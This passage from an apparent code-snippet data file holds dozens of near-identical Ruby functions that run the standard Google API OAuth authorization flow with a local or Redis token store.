Google::Auth::UserAuthorizer.new(\n client_id, SCOPES, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(@CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(@CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: @CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, @SCOPE, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: @OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: @OOB_URI)\n end\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' +\n 'resulting code after authorization'\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\r\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\r\n\r\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\r\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\r\n authorizer = Google::Auth::UserAuthorizer.new(\r\n client_id, SCOPE, token_store)\r\n user_id = 'default'\r\n credentials = authorizer.get_credentials(user_id)\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url(\r\n base_url: OOB_URI)\r\n puts \"Open the following URL in the browser and enter the \" +\r\n \"resulting code after authorization\"\r\n puts url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI)\r\n end\r\n credentials\r\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize(force_reload)\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if force_reload || credentials.nil?\n session[:is_authorized] = false\n redirect_to google_fetch_path\n return\n end\n credentials\n end", "def find_or_prompt_for_credentials\n client_id = Google::Auth::ClientId.from_hash(CLIENT_SECRET_HASH)\n token_store = Google::Auth::Stores::RedisTokenStore.new(:prefix => REDIS_KEY_PREFIX)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization:\"\n puts url\n\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = ask \"code?: \"\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n\tFileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n\tclient_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n\ttoken_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n\tauthorizer = Google::Auth::UserAuthorizer.new(\n\t\tclient_id, SCOPE, token_store)\n\tuser_id = 'default'\n\tcredentials = authorizer.get_credentials(user_id)\n\tif credentials.nil?\n\t\turl = authorizer.get_authorization_url(\n\t\t\tbase_url: OOB_URI)\n\t\tputs \"Open the following URL in the browser and enter the \" +\n\t\t\"resulting code after authorization\"\n\t\tputs url\n\t\tcode = STDIN.gets\n\t\tcredentials = authorizer.get_and_store_credentials_from_code(\n\t\t\tuser_id: user_id, code: code, base_url: OOB_URI)\n\tend\n\tcredentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n # client_id = Google::Auth::ClientId.from_hash(Rails.application.config.gdrive_secrets)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store\n )\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI\n )\n puts 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization'\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(self.credentials_path)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: self.token_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPES, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI,\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = 'default'\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.readline()\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI,\n )\n end\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.\n new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.\n new(client_id, SCOPE, token_store)\n credentials = authorizer.\n get_credentials(CONFIGURATION[\"calendar\"][\"user_id\"])\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \"\\\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: CONFIGURATION[\"calendar\"][\"user_id\"],\n code: code,\n base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\r\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\r\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\r\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\r\n user_id = \"default\"\r\n credentials = authorizer.get_credentials user_id\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url base_url: OOB_URI\r\n puts \"Open the following URL in the browser and enter the \" \\\r\n \"resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI\r\n )\r\n end\r\n credentials\r\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization:\\n' + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following 